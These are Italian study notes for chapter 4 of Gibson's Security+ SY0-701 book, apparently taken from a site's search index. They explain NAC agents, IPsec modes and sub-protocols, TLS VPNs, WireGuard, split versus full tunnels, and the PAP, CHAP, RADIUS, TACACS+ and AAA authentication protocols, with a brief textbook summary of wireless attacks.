FP in NAC Client sano in quarantena Non puo lavorare Tuning critico Un utente infetto che si connette alla VPN porta il malware dentro la rete privata, dove può diffondersi lateralmente a tutti gli altri host. NAC è la soluzione a questo scenario.\nNAC (Network Access Control) fornisce monitoraggio continuo della sicurezza: ispeziona il client prima (e durante) la connessione e lo blocca — o lo isola — se non soddisfa i requisiti di salute predefiniti.\nIl problema che NAC risolve # Gli amministratori controllano completamente i computer aziendali: possono imporre antivirus aggiornato, patch OS correnti, firewall abilitato. Ma non controllano i dispositivi personali degli utenti che lavorano da casa o in viaggio. NAC porta un livello di controllo anche su questi dispositivi.\nI controlli NAC sono controlli tecnici (automatizzati, verificati da software) che applicano policy amministrative (le regole scritte dall'admin: \u0026quot;tutti i client devono avere antivirus versione X e patch del mese Y\u0026quot;). Non sono solo policy su carta — sono enforcement automatico.\nFlusso NAC + VPN # %%{init: {\"flowchart\": {\"htmlLabels\": false}} }%% flowchart TD C[\"Client VPN\"] --\u003e|\"1. Tenta connessione\"| V[\"VPN Server\"] V --\u003e|\"2. Chiede requisiti di salute\"| N[\"NAC Health Server\"] N --\u003e|\"3. Risponde con requisiti minimi\"| V V --\u003e|\"4. Chiede statement of health\"| C C --\u003e|\"5. Agent riporta stato salute\"| V V --\u003e D{Salute OK?} D --\u003e|Si| NET[\"Rete interna - accesso completo\"] D --\u003e|No| Q[\"Quarantine Network\"] Q --\u003e FIX[\"Remediation: patch, antivirus, signatures\"] FIX --\u003e|\"Riprova dopo aggiornamento\"| C La quarantine network è brillante: non lascia l'utente bloccato senza spiegazioni — gli fornisce esattamente le risorse per rimettersi a posto (patch server, antivirus update server), e poi lo fa riprovare. NAC mantiene il client in buona salute nel tempo, non solo al primo accesso.\nNAC non è solo per VPN — anche per client interni # NAC può ispezionare anche i computer già dentro la rete:\nUn PC interno che ha saltato un giro di patch → rilevato → quarantena Un visitatore che collega il laptop a una wall jack libera → NAC ispeziona → se non passa, accesso solo a Internet (isolato dalla rete interna) Dipendente con portatile personale su Wi-Fi aziendale → stessa logica Warning False positive in NAC = problema serio. Un FP manda in quarantena un client sano e gli impedisce di lavorare. Il tuning delle regole è critico — stesso principio dei FP negli IDS/IPS.\nAgent vs Agentless NAC # NAC usa agenti (health agent / authentication agent) per raccogliere lo stato di salute del client. Esistono tre modalità:\nTipo Come funziona Rimane sul client? Permanent agent (persistent) Software installato sul client, sempre presente. NAC lo interroga ad ogni connessione Sì — sempre Dissolvable agent Scaricato e eseguito al momento della connessione. Raccoglie lo stato, lo riporta al NAC. Poi si rimuove (subito o a fine sessione) No — si autoelimina Agentless Il NAC server scansiona il client da remoto, senza installare nulla. Simile a un vulnerability scanner. interroga il dispositivo dall'esterno (via WMI, SSH, SNMP) senza installare nulla sul client Mai installato Note Gibson sottolinea che i vendor chiamano spesso i dissolvable agent \u0026quot;agentless\u0026quot; — ma è una denominazione imprecisa. L'agente c'è, solo non rimane installato. Agentless vero = scansione remota senza nessun codice sul client.\nRemember This (Gibson) NAC include metodi per ispezionare la salute dei client (antivirus aggiornato, patch OS, firewall attivo) e può restringere l'accesso dei client non sani a una remediation network. Si usa sia per client VPN che per client interni. Gli agent NAC possono essere permanenti, dissolvibili o agentless (scansione remota).\nIPsec e Tunneling Protocol # mindmap root((IPsec e Tunneling)) Modalita IPsec Tunnel Mode VPN Cifra header e payload IP interni nascosti Nuovo header esterno Transport Mode LAN Cifra solo payload Header visibili Host-to-host privato Sotto-protocolli AH IP proto 51 Autenticazione e integrita No confidenzialita ESP IP proto 50 Confidenzialita Autenticazione integrita Cifra il payload IKE UDP 500 Negozia chiavi Security Associations ECDH per chiavi cifra WireGuard vs IPsec WireGuard scelto 4000 righe codice ChaCha20 Poly1305 UDP 51820 IPsec imposto Standard enterprise 400k righe Massima interoperabilita SSL TLS VPN SSTP porta 443 Attraversa NAT OpenVPN open source Flessibile autenticazione IPsec — Tunnel Mode vs Transport Mode # IPsec (Internet Protocol Security) cifra i dati in transito operando a livello IP (Layer 3). Supporta due modalità:\nIPsec è uno standard — una suite di protocolli (IKE + ESP + AH). Non è software, è una specifica RFC. Il kernel Linux capisce ESP e AH nativamente, ma qualcuno deve gestire la negoziazione IKE: scambiare chiavi, creare le SA, autenticarsi.\nTunnel Mode — cifra l'intero pacchetto IP, inclusi payload e header. Le VPN usano comunemente Tunnel Mode. Gli header del pacchetto contengono gli indirizzi IP (e MAC). Il beneficio: gli IP della rete interna sono cifrati e invisibili a chi intercetta il traffico. Se un attaccante intercetta il traffico, vede l'IP sorgente del client e l'IP del VPN server, ma l'IP addressing interno rimane nascosto.\nTransport Mode — cifra solo il payload, non gli header. Viene usato comunemente nelle reti private, non nelle VPN. Se il traffico transita e viene usato solo all'interno di una rete privata, non c'è bisogno di nascondere gli IP cifrandoli — sono già al sicuro dietro il firewall.\nflowchart LR subgraph TUN[\"Tunnel Mode — VPN\"] A1[\"Header IP originale (IP sorgente + destinazione)\"] --\u003e E1[\"CIFRATO — invisibile all'intercettatore\"] B1[\"Payload\"] --\u003e E1 C1[\"Nuovo header IP esterno (client → VPN server)\"] --\u003e V1[\"Visibile\"] end subgraph TRA[\"Transport Mode — Host-to-Host\"] A2[\"Header IP (IP sorgente + destinazione)\"] --\u003e V2[\"Visibile\"] B2[\"Payload\"] --\u003e E2[\"CIFRATO\"] end Tunnel Mode Transport Mode Cosa cifra Intero pacchetto IP (header + payload) Solo il payload IP interno visibile? No — nascosto nell'header cifrato Sì — header IP visibile Nuovo header esterno? Sì — client → VPN server No Usato in VPN (accesso remoto, site-to-site) Comunicazione host-to-host nella stessa LAN privata Logica Devo nascondere anche da dove vengo nella rete interna Sono già nella rete privata — non serve nascondere gli IP Perché non si usa sempre Tunnel Mode? Tunnel Mode aggiunge un nuovo header IP esterno e cifra l'intero pacchetto originale → overhead maggiore (più byte per pacchetto, più CPU per cifrare/decifrare). Per comunicazioni host-to-host interne dove gli endpoint si fidano già della rete, Transport Mode è più efficiente senza perdere sicurezza sul contenuto. Regola pratica: Tunnel Mode su reti non fidate (Internet), Transport Mode su reti già protette (LAN interna).\nCome funziona l'encapsulation in Tunnel Mode\nIl pacchetto originale (IP header + data) non può viaggiare su Internet in chiaro. In Tunnel Mode, il processo è:\n[IP header originale] [Data] ↓ cifra tutto [Nuovo IP header] [IPsec header] [IP header cifrato + Data cifrata] [IPsec trailer] IP header originale + data → vengono cifrati insieme (ESP) IPsec header e IPsec trailer → wrappano il contenuto cifrato, indicano dove inizia/finisce il payload IPsec Nuovo IP header esterno → contiene IP sorgente del client e IP del VPN concentrator — è l'unica cosa visibile ai router lungo il percorso Il pacchetto diventa più grande del originale — questo è l'overhead del tunnel. I router Internet vedono solo il nuovo header esterno e instradano verso il concentrator. Arrivato al concentrator: rimuove il nuovo IP header, IPsec header e trailer, decifra, e manda in chiaro il pacchetto originale alla rete interna.\nLa chiave di cifratura — IKE, non RADIUS\nRADIUS si occupa di chi sei (autenticazione utente). La chiave di cifratura del tunnel è una cosa separata, negoziata tramite IKE (Internet Key Exchange, UDP 500): un handshake tra client e concentrator che genera una chiave simmetrica di sessione. Ogni sessione ha la sua chiave, generata al volo — il concentrator la tiene in memoria per quella sessione, il client la tiene nel client VPN. RADIUS non tocca mai questa chiave.\nPerché Transport Mode compare qui: Gibson lo introduce per contrasto con Tunnel Mode. Nell'esame può comparire la domanda \u0026quot;quale modalità IPsec usano le VPN?\u0026quot; → Tunnel. \u0026quot;Quale non cifra gli header?\u0026quot; → Transport.\nIPsec non vive dentro la VPN — IPsec può essere la VPN stessa.\nVPN è un concetto (tunnel sicuro su rete pubblica). IPsec è uno dei protocolli che lo implementa:\nVPN = concetto ↑ implementato da uno di questi protocolli: ├── IPsec Tunnel Mode ← il più comune in enterprise ├── TLS/SSTP ← porta 443, attraversa NAT ├── WireGuard ← moderno, leggero └── OpenVPN ← open source, flessibile Quando dici \u0026quot;VPN IPsec\u0026quot; stai dicendo \u0026quot;VPN costruita usando IPsec come protocollo di tunneling\u0026quot;. IPsec è la VPN, non vive dentro di essa.\nEsempi concreti:\nSei a casa e ti connetti alla rete aziendale → VPN (usa IPsec Tunnel Mode o TLS) — devi nascondere gli IP interni e attraversare Internet Il web server aziendale parla con il database server sulla stessa rete interna in modo cifrato → IPsec Transport Mode — nessuna VPN, stessa rete, non serve nascondere gli IP Analogia: VPN è come dire \u0026quot;voglio una comunicazione sicura\u0026quot;. IPsec è uno dei linguaggi con cui la costruisci — come HTTPS è HTTP costruito sopra TLS.\nIPsec — AH e ESP # IPsec fornisce sicurezza tramite due sotto-protocolli:\nProtocollo Espansione IP Protocol # Cosa fornisce AH Authentication Header 51 Autenticazione + integrità (NO confidenzialità — non cifra) ESP Encapsulating Security Payload 50 Confidenzialità + autenticazione + integrità (cifra il payload) IP Protocol number — non è una porta:\nLe porte (0–65535) identificano servizi TCP/UDP: TCP 443 = HTTPS, UDP 53 = DNS. Gli IP Protocol number operano a un livello più basso — identificano il tipo di protocollo nel campo Protocol dell'header IP, prima ancora di TCP/UDP:\nIP Protocol # Protocollo 1 ICMP 6 TCP 17 UDP 50 ESP (IPsec) 51 AH (IPsec) AH ed ESP non sono applicazioni TCP/UDP — sono protocolli IP diretti, come ICMP. Un firewall li riconosce guardando il campo Protocol nell'header IP, non una porta. I packet filter usano questi numeri per permettere o bloccare traffico IPsec.\nIKE (Internet Key Exchange) — negoziazione delle chiavi IPsec:\nPorta: UDP 500 Funzione: autentica i due host che avviano la sessione IPsec e crea le Security Associations (SA) — accordi su algoritmi di cifratura, chiavi, durata della sessione È l'unico componente IPsec che usa una porta tradizionale (UDP 500) PSK vs chiavi di cifratura — due cose separate:\nIl PSK (Pre-Shared Key) è usato solo per autenticazione durante IKE — dimostrare \u0026quot;sono io, conosco il segreto\u0026quot;. Non viene usato per cifrare il traffico ESP.\nLe chiavi di cifratura vengono da ECDH (Elliptic Curve Diffie-Hellman): entrambi gli host generano coppie di chiavi temporanee, si scambiano le pubbliche, e derivano la stessa chiave condivisa senza mai trasmetterla sul cavo.\nIKE_SA_INIT → ECDH: entrambi calcolano chiave condivisa (mai sul cavo) IKE_AUTH → PSK: \u0026#34;sono io\u0026#34; — firma un messaggio col segreto condiviso ESP → chiavi derivate da ECDH, il PSK non entra più È come la parola \u0026quot;Fidelio\u0026quot; in Eyes Wide Shut — ti apre la porta, dimostra che appartieni. Ma quello che succede dentro la stanza è separato dalla parola. Per questo il PSK deve essere forte: se qualcuno lo indovina, può impersonare un host — ma non può decifrare traffico già catturato perché le chiavi ESP vengono da ECDH.\nStessa logica in WPA2/WPA3: la password WiFi è un PSK — autentica il dispositivo ma non deriva le chiavi di sessione direttamente. Le chiavi vengono dal 4-way handshake (WPA2) o da SAE (WPA3).\nRemember This (Gibson) IPsec Tunnel Mode cifra l'intero pacchetto IP inclusi gli header — usato nelle VPN. Transport Mode cifra solo il payload — usato in reti private host-to-host. AH (IP protocol 51) fornisce autenticazione e integrità. ESP (IP protocol 50) fornisce confidenzialità, autenticazione e integrità. AH e ESP usano IP protocol number, non porte.\nSSL/TLS come Tunneling Protocol # Alcuni protocolli VPN usano TLS (Transport Layer Security) invece di IPsec per cifrare il canale.\nSSL VPN per remote access — tre modalità di client\nModalità Come funziona Quando usarla Client software installato Applicazione dedicata (es. Cisco AnyConnect, OpenVPN GUI) installata sul dispositivo. Si autentica con username/password, certificati o entrambi Standard per dipendenti — massima funzionalità Client integrato nel OS Windows, macOS, iOS, Android hanno un client VPN nativo. Nessuna installazione — si configura nelle impostazioni di rete Comodo per utenti mobili, BYOD Browser-based (clientless) Nessuna installazione. Il browser si connette via HTTPS al VPN gateway e proxia le richieste. Limitato a app web e RDP/SSH via browser Accesso occasionale da dispositivi non gestiti — consulenti, postazioni pubbliche Always-on SSL VPN — configurazione in cui il tunnel si stabilisce automaticamente all'avvio del dispositivo. Tutto il traffico è sempre cifrato, senza azione richiesta all'utente. Usato in ambienti ad alta sicurezza o con policy di zero trust.\nFlessibilità di autenticazione SSL VPN — a differenza di IPsec che spesso richiede configurazioni rigide, SSL VPN non forza un tipo specifico di credenziale. Si può usare: username/password, certificati digitali, shared secret, o combinazioni (es. password + OTP). Questa flessibilità è uno dei motivi per cui SSL VPN è preferito per il remote access degli utenti finali.\nSSTP — Secure Socket Tunneling Protocol:\nCifra il traffico VPN tramite TLS su porta 443 Porta 443 = stessa porta di HTTPS → attraversa quasi tutti i firewall e NAT senza configurazione aggiuntiva Utile quando IPsec non è praticabile (es. reti con NAT aggressivo o firewall che bloccano UDP 500/50/51) Sviluppato da Microsoft, integrato in Windows SSL vs TLS nel nome SSTP: Il nome dice \u0026quot;SSL\u0026quot; perché fu progettato quando SSL era il termine dominante (Windows Vista, 2007). Oggi SSTP usa TLS — SSL è deprecato dal 2015. È lo stesso fenomeno di \u0026quot;certificati SSL\u0026quot; (che sono TLS) e OpenSSL (libreria TLS). Per l'esame: nome dice SSL, funziona con TLS.\nOpenVPN e OpenConnect:\nApplicazioni open-source che usano TLS per creare il canale sicuro OpenVPN: porta configurabile, spesso UDP 1194 o TCP/UDP 443 OpenConnect: compatibile con Cisco AnyConnect, usa TLS/DTLS IPsec vs TLS/SSL — confronto per l'esame:\nIPsec SSL/TLS VPN (es. SSTP, OpenVPN) Layer L3 (Network) L4-L7 (Transport/Application) Protocollo AH (51) + ESP (50) + IKE (UDP 500) TLS su TCP/UDP (spesso 443) NAT Problematico (ESP rompe il NAT) Nessun problema (passa come HTTPS) Firewall Richiede apertura porte specifiche Porta 443 già aperta ovunque Caso d'uso Site-to-site enterprise, alta sicurezza Remote access, ambienti con NAT/firewall restrittivi Remember This (Gibson) SSTP cifra il traffico VPN usando TLS su porta 443. È utile quando la VPN deve attraversare NAT dove IPsec non è praticabile. OpenVPN e OpenConnect sono applicazioni open-source che usano TLS. Nonostante il nome contenga \u0026quot;SSL\u0026quot;, SSTP usa TLS — SSL ha vulnerabilità note ed è il suo successore designato.\nIPsec vs WireGuard — quando usare quale # WireGuard NON è IPsec — sono due protocolli VPN completamente indipendenti, che non condividono codice né standard.\nIPsec è una suite definita da RFC negli anni '90: AH + ESP + IKE. Negozia la sessione tramite IKE (UDP 500), usa IP protocol number 50/51 (non porte TCP/UDP), ha due modalità (tunnel/transport), ed è implementato in praticamente ogni stack di rete enterprise. Complessità alta, interoperabilità massima.\nWireGuard (2016, Jason Donenfeld) ha una crypto stack propria completamente diversa:\nChaCha20 — cifratura Poly1305 — autenticazione/integrità Curve25519 — key exchange BLAKE2 — hashing Nessun IKE, nessun AH, nessun ESP. Porta UDP 51820. Gira come modulo kernel Linux (~4.000 righe di codice vs ~400.000 di IPsec). Non negozia algoritmi — la crypto è fissa, non configurabile.\nEntrambi sono VPN protocols — il calderone corretto. Ma sono implementazioni indipendenti: un endpoint IPsec non parla WireGuard e viceversa.\nIPsec WireGuard Età 1995 — standard enterprise storico 2020 — nel kernel Linux dalla v5.6 Complessità Alta — IKE, SA, policy, AH/ESP, modalità Bassa — config di poche righe, chiavi pubbliche Codice ~400.000 righe ~4.000 righe (audit più semplice) Performance Buona Eccellente — implementato nel kernel Interoperabilità Massima — qualsiasi vendor lo parla Solo tra endpoint che lo supportano NAT Problematico — ESP rompe il NAT Nativo — UDP, attraversa NAT senza problemi Cloud AWS/Azure/GCP VPN Gateway usano IPsec Supportato, ma non è il default dei cloud gateway Usa IPsec quando:\nL'altro endpoint è un router/firewall enterprise (Cisco ASA, Palo Alto, FortiGate, pfSense) — parlano IPsec per default Stai configurando un site-to-site VPN tra sedi aziendali con hardware diverso Il cloud VPN gateway (AWS, Azure) richiede IPsec per la connessione on-premise La compliance lo richiede esplicitamente (alcuni framework specificano IPsec) Non controlli l'altro endpoint — il vendor ha già deciso Usa WireGuard quando:\nControlli entrambi gli endpoint (lab, DevSecOps, accesso admin) Remote access VPN per sviluppatori o admin Ambienti cloud-native Linux Vuoi semplicità: config in 10 righe, chiave pubblica, fatto Performance è critica (gaming, video, IoT) La regola pratica:\nWireGuard è quello che scegli quando puoi scegliere. IPsec è quello che usi quando l'altra parte l'ha già deciso.\nSplit Tunnel vs Full Tunnel # Immagina Lisa che si connette al VPN server aziendale con IPsec da casa. VPN attiva, ESP cifra tutto il traffico nel tunnel. Lisa vuole cercare \u0026quot;saxophones\u0026quot; su Google. Il traffico passa attraverso il tunnel o va direttamente a Internet?\nDipende dalla configurazione del tunnel.\nSplit Tunnel — l'amministratore VPN definisce quale traffico usa il tunnel cifrato. Solo il traffico verso gli IP privati dell'azienda passa nel tunnel. Il resto va direttamente a Internet via ISP.\nflowchart LR L[\"Lisa (casa)\"] --\u003e|\"Traffico verso 10.0.0.x — cifrato nel tunnel\"| V[\"VPN Server aziendale\"] L --\u003e|\"Traffico verso google.com — diretto via ISP\"| I[\"Internet\"] Ricerca Google di Lisa → ISP → Google (tunnel bypassato) Accesso al server interno → tunnel cifrato → rete aziendale Full Tunnel — tutto il traffico passa nel tunnel mentre l'utente è connesso alla VPN. Anche la navigazione pubblica transita attraverso il VPN server aziendale.\nflowchart LR L[\"Lisa (casa)\"] --\u003e|\"TUTTO il traffico cifrato nel tunnel\"| V[\"VPN Server aziendale\"] V --\u003e U[\"UTM aziendale (URL filter, malware scan, content inspection)\"] U --\u003e I[\"Internet / Google\"] I --\u003e U U --\u003e V V --\u003e|\"risposta cifrata nel tunnel\"| L Ricerca Google di Lisa → tunnel → VPN server → UTM → Google → UTM → VPN server → tunnel → Lisa Il sito vede l'IP dell'azienda, non l'IP di casa di Lisa UTM (Unified Threat Management) — dispositivo all-in-one che combina: firewall + IPS + antivirus + URL filtering + content inspection + ispezione malware. Con il full tunnel, tutto il traffico internet degli utenti remoti passa attraverso i controlli di sicurezza aziendali — come se fossero fisicamente in ufficio.\nConfronto:\nSplit Tunnel Full Tunnel Traffico cifrato Solo verso IP privati aziendali Tutto il traffico Navigazione pubblica Diretta via ISP Passa per VPN server + UTM Performance Migliore — meno carico sul tunnel Più lenta — tutto cifrato/decifrato due volte, percorso indiretto Controllo sicurezza Solo traffico interno Tutto il traffico (URL filter, malware scan) IP visibile ai siti IP di casa dell'utente IP aziendale Caso d'uso Accesso a risorse interne, navigazione libera Compliance, controllo totale, ambienti ad alto rischio IPsec — scenari di utilizzo (non solo company-to-company):\nScenario Tipo Esempio Site-to-site Tra router/firewall aziendali Sede Milano ↔ Sede Roma, o Azienda A ↔ Azienda B Remote access Utente da casa → VPN server Lisa da casa → VPN server aziendale (caso Gibson) IPsec non è limitato alle connessioni azienda-azienda — è lo stesso protocollo usato sia per collegare sedi tra loro sia per i singoli utenti remoti.\nRemember This (Gibson) IPsec è un protocollo di cifratura sicuro usato con le VPN. ESP (IP protocol 50) fornisce confidenzialità, integrità e autenticazione. IPsec usa Tunnel Mode per il traffico VPN. IKE usa porta UDP 500. Un full tunnel cifra tutto il traffico quando l'utente è connesso alla VPN. Uno split tunnel cifra solo il traffico destinato alla rete privata.\nAutenticazione Remota — PAP, CHAP, RADIUS, TACACS+ # mindmap root((Remote Auth)) PAP Password in cleartext PPP dial-up Vulnerabile sniffing Non usare mai CHAP Challenge Handshake Nonce usa e getta Hash shared secret Mai password in chiaro Replay resistente RADIUS Centralizzato multi-server UDP best effort Cifra solo password default Con EAP cifra sessione VPN e 802.1X TACACS+ Cisco proprietario TCP guaranteed Cifra intera sessione Kerberos compatibile Dispositivi di rete AAA Authentication chi sei Authorization cosa puoi fare Accounting log attivita RADIUS completo TACACS+ completo Kerberos no accounting Un passaggio fondamentale nell'implementazione di una VPN è garantire che solo le entità autorizzate possano accedervi. L'autorizzazione inizia con l'autenticazione — e le VPN supportano diversi metodi.\nPAP — Password Authentication Protocol # PAP (Password Authentication Protocol) viene usato con PPP (Point-to-Point Protocol) per autenticare i client.\nIl problema critico: PAP invia la password in chiaro sulla rete.\nPPP nacque per le connessioni dial-up (modem, anni '90). In quel contesto, l'intercettazione di una linea telefonica era considerata remota — la sicurezza era un ripensamento. Oggi PPP + PAP si usa solo come ultima risorsa, o abbinato a un protocollo che fornisce cifratura.\nWarning Esame trap: PAP = password in cleartext = vulnerabile allo sniffing. Se una domanda descrive un protocollo di autenticazione che invia credenziali non cifrate → PAP.\nCHAP — Challenge Handshake Authentication Protocol # CHAP (Challenge Handshake Authentication Protocol) usa anch'esso PPP ma è molto più sicuro di PAP. L'obiettivo è permettere al client di autenticarsi su una rete pubblica senza mai inviare la password in chiaro.\nCome funziona:\nsequenceDiagram participant C as Client participant S as Server S-\u003e\u003eC: 1. Challenge (nonce — numero usato una sola volta) C-\u003e\u003eC: 2. Hash(shared_secret + nonce) C-\u003e\u003eS: 3. Invia l'hash (MAI la password) S-\u003e\u003eS: 4. Calcola lo stesso hash indipendentemente S-\u003e\u003eC: 5. Confronta — se coincide: autenticato Client e server condividono un shared secret (come una password) — ma non viene mai trasmesso Il server invia un nonce (challenge) — numero casuale usa-e-getta Il client calcola hash(shared_secret + nonce) e invia solo l'hash Il server fa lo stesso calcolo e confronta — se coincide, il client è autenticato Protezione contro replay attack: anche se un attaccante intercetta l'hash, non può riusarlo — il nonce cambia ad ogni sessione. CHAP ripete questo handshake periodicamente durante la connessione, non solo all'inizio.\nGancio mnemonico — Bitcoin: il nonce di CHAP e il nonce di Bitcoin sono lo stesso principio: un numero usato una volta sola per rendere irripetibile una risposta. In Bitcoin i miner cercano un nonce che produca un hash con un certo numero di zeri iniziali (proof-of-work). In CHAP il server genera un nonce casuale e il client dimostra di conoscere la password producendo un hash di nonce + password. Contesti diversi, stesso scopo: il nonce rende ogni risposta unica e non riusabile.\nAnalogia dev: è lo stesso principio di HMAC-based authentication — non si invia mai il segreto, si invia la prova che lo si conosce.\nRemember This (Gibson) PAP invia le password in cleartext — vulnerabile allo sniffing. CHAP non invia la password in chiaro — usa un challenge/nonce + hash del shared secret.\nRADIUS — Autenticazione Centralizzata # Il problema che RADIUS risolve:\nImmagina un'azienda con sedi a Virginia Beach, Atlanta e Chicago — ciascuna con il proprio VPN server. Bart è un agente di vendita che si connette da qualsiasi sede. Se ogni VPN server ha il proprio database utenti, quando Bart cambia password devono aggiornarla su tutti e tre i server — labor-intensive, fonte di errori.\nLa soluzione: un RADIUS server centralizzato.\nOgni VPN server è configurato con uno shared secret che corrisponde al RADIUS server. Quando un utente tenta di autenticarsi, il VPN server inoltra la richiesta al RADIUS server — non gestisce l'autenticazione da solo.\nflowchart LR B[\"Bart\\n(client VPN)\"] --\u003e VA[\"VPN Server\\nVirginia Beach\"] B --\u003e AT[\"VPN Server\\nAtlanta\"] B --\u003e CH[\"VPN Server\\nChicago\"] VA --\u003e|shared secret| R[\"RADIUS Server\\n(centralizzato)\"] AT --\u003e|shared secret| R CH --\u003e|shared secret| R R --\u003e|verifica credenziali| L[\"LDAP / Domain Controller\\n(Active Directory)\"] Caratteristiche tecniche di RADIUS:\nAspetto Dettaglio Protocollo UDP — best-effort delivery Affidabilità RADIUS include logica propria per rilevare problemi di comunicazione (UDP non garantisce la consegna) Cifratura Per default cifra solo la password — il resto della sessione è in chiaro Con EAP RFC 3579 — RADIUS + EAP cifra l'intera sessione Uso VPN authentication, 802.1X / WPA2/WPA3 Enterprise RADIUS + LDAP: è più comune che il RADIUS server non abbia un database utenti proprio, ma acceda a un LDAP server (es. Active Directory Domain Controller). Bart ha un solo account — quando cambia la password, il DC la aggiorna una volta sola.\nImportant RADIUS compare spesso nelle domande d'esame. Punti chiave: centralizzato, UDP, cifra solo la password di default, può usare EAP per sessioni cifrate, usato sia per VPN che per 802.1X enterprise.\nTACACS+ — Alternativa a RADIUS # TACACS+ (Terminal Access Controller Access-Control System Plus) è un'alternativa a RADIUS sviluppata da Cisco. Offre due vantaggi di sicurezza significativi:\nRADIUS TACACS+ Protocollo UDP TCP (guaranteed delivery) Cifratura Solo la password (default) Intera sessione Challenges Singolo Multipli durante la sessione Kerberos No Sì — interagisce con Kerberos Vendor Standard aperto Creato da Cisco Caso d'uso specifico di TACACS+: autenticazione per accedere ai dispositivi di rete (router, switch). Un amministratore che vuole accedere alla pagina di configurazione di un router deve autenticarsi — TACACS+ può gestire questa autenticazione. I dispositivi di rete devono essere TACACS+-enabled.\nTACACS+ + Kerberos: poiché Microsoft Active Directory usa Kerberos per l'autenticazione, TACACS+ permette a un VPN concentrator Cisco di integrarsi in un ambiente AD.\nRemember This (Gibson) RADIUS cifra solo la password di default ma può usare EAP per cifrare sessioni intere. TACACS+ cifra l'intera sessione di default e può usare Kerberos. Entrambi sono protocolli AAA centralizzati.\nAAA — Authentication, Authorization, Accounting # AAA è la triade dei servizi di controllo accessi:\nServizio Cosa fa Esempio Authentication Verifica l'identità dell'utente Username + password corretti? Authorization Determina a quali risorse l'utente può accedere Bart può accedere al file server, non al DC Accounting Traccia l'attività dell'utente con log Bart si è connesso alle 09:14, ha trasferito 2MB, disconnesso alle 10:30 Protocolli AAA completi:\nRADIUS — authentication + authorization + accounting ✓ TACACS+ — authentication + authorization + accounting ✓ Diameter — evoluzione di RADIUS, stessi tre servizi ✓ Kerberos — caso speciale: Kerberos è spesso citato come AAA, ma non fornisce accounting da solo. Può interfacciarsi con sistemi di accounting esterni, ma da solo copre solo authentication e authorization.\nWarning Esame trap: Kerberos NON è un protocollo AAA completo — non ha accounting nativo. RADIUS, TACACS+ e Diameter sono AAA completi.\nRemember This (Gibson) I protocolli AAA forniscono autenticazione, autorizzazione e accounting. RADIUS, TACACS+ e Diameter sono protocolli AAA. Kerberos è talvolta definito AAA ma non fornisce accounting autonomo.\nGibson — Obiettivi Esame Capitolo 4 # Riepilogo ufficiale Gibson degli obiettivi Security+ SY0-701 del capitolo 4.\nIDS e IPS\nIDS/IPS ispezionano il traffico per rilevare e rispondere alle minacce HIDS rileva attacchi su sistemi locali (workstation, server) — può rilevare malware che l'antivirus non individua NIDS monitora l'intera rete tramite sensori e console centrali Signature-based: confronta contro firme di attacchi noti Trend-based (anomaly): usa una baseline, rileva deviazioni — include zero-day False positive = alert inviato quando non c'è attacco — False negative = nessun alert quando c'è un attacco IPS è in-line, monitora e blocca attivamente; IDS è out-of-band, passivo IDS/IPS usati anche su reti private interne come SCADA Honeypot e Deception\nHoneypot/honeynet distrae gli attaccanti dalla rete reale e permette di osservare le metodologie Honeyfile = file con nome attraente per rilevare esplorazione attiva Honeytoken = record falso in un database per rilevare furto di dati Sicurezza Wireless\nDisabilitare SSID broadcast nasconde la rete agli utenti casuali (non sicurezza reale) MAC filtering limita l'accesso — ma gli attaccanti possono scoprire i MAC autorizzati e spoofing Site survey identifica problemi; wireless footprinting usa heat map per diagramma AP/dead spot WPA2 usa CCMP/AES; supporta open, PSK, Enterprise Enterprise mode più sicura di Personal: aggiunge autenticazione 802.1X individuale WPA3 usa SAE al posto di PSK; supporta enhanced open, SAE, Enterprise Open mode = no PSK, no 802.1X; WPA3 enhanced open cifra anche senza password 802.1X = port-based NAC; blocca dispositivi non autorizzati EAP varianti: PEAP, EAP-FAST, EAP-TLS, EAP-TTLS EAP-TLS = più sicuro — certificato su server E su ogni client PEAP usa MS-CHAPv2; EAP-TTLS permette protocolli legacy (PAP) dentro tunnel TLS Attacchi Wireless\nDisassociation attack: rimuove un client forzandolo a riautenticarsi (management frames non autenticati) WPS attack: PIN a 8 cifre → crack in ~11.000 tentativi → bypass WPA/WPA2 Rogue AP: AP non autorizzato; Evil Twin: rogue AP con stesso SSID dell'AP legittimo Jamming: interferenza che blocca la frequenza wireless (Layer 1 DoS) IV attack: sfrutta il riutilizzo del vettore di inizializzazione in WEP → passphrase decifrabile Wireless replay attack: cattura dati, li modifica, impersona una delle parti NFC attacks: lettura dati da dispositivi mobili a corto raggio RFID attacks: eavesdropping, replay, DoS su tag RFID War driving: ricerca di reti wireless vulnerabili da veicoli o aerei VPN e Accesso Remoto\nVPN fornisce accesso a reti private tramite rete pubblica IPsec: Tunnel Mode cifra l'intero pacchetto IP (VPN); Transport Mode cifra solo il payload (rete privata) ESP (IP proto 50): confidenzialità + integrità + autenticazione Full tunnel: tutto il traffico cifrato nel tunnel; Split tunnel: solo traffico privato nel tunnel Site-to-site VPN: due reti collegate — on-demand o always-on Altri protocolli VPN: TLS (SSTP), L2TP (no cifratura propria), HTML5 VPN Portal (browser-based, resource-intensive) NAC — Network Access Control\nPermanent agent: installato e rimane sul client Dissolvable agent: scaricato, eseguito, eliminato dopo la sessione Agentless: scansione remota senza installare codice NAC usato sia per client VPN che per client interni Autenticazione Remota\nPAP: usa password/PIN — invia in cleartext → vulnerabile allo sniffing CHAP: più sicuro di PAP — usa handshake con challenge/nonce, non invia la password in chiaro RADIUS: autenticazione centralizzata per VPN server multipli — UDP, cifra solo la password di default, può usare EAP per sessioni cifrate TACACS+ (Cisco): alternativa a RADIUS — TCP, cifra l'intera sessione, usabile con Kerberos Protocolli AAA completi: RADIUS, TACACS+, Diameter — Kerberos NON ha accounting nativo Collegato a # glossario-cyber — IDS/IPS, honeypot, wireless attacks, VPN, NAC, IPsec, PAP, CHAP, RADIUS, TACACS+, AAA cap-03-security-architecture — firewall, DMZ, screened subnet, architettura di rete cap-02-identity-access-management — autenticazione, RADIUS, Kerberos, controlli di accesso network — protocolli di rete, Layer OSI, TCP/IP indice-gibson-messer-burning-Ice — indice completo del libro ","date":"25 maggio 2026","externalUrl":null,"permalink":"/dump/certificazioni/security-plus/libro/cap-04-securing-your-network/","section":"Dump","summary":"IDS/IPS, VPN (IPsec/SSL), tunneling, wireless security (WPA2/WPA3), network segmentation avanzata. Cap 4 Gibson SY0-701.","title":"Cap 4 - Securing Your Network","type":"dump"},{"content":"","date":"25 maggio 2026","externalUrl":null,"permalink":"/tags/crypto/","section":"Tags","summary":"","title":"Crypto","type":"tags"},{"content":"","date":"19 maggio 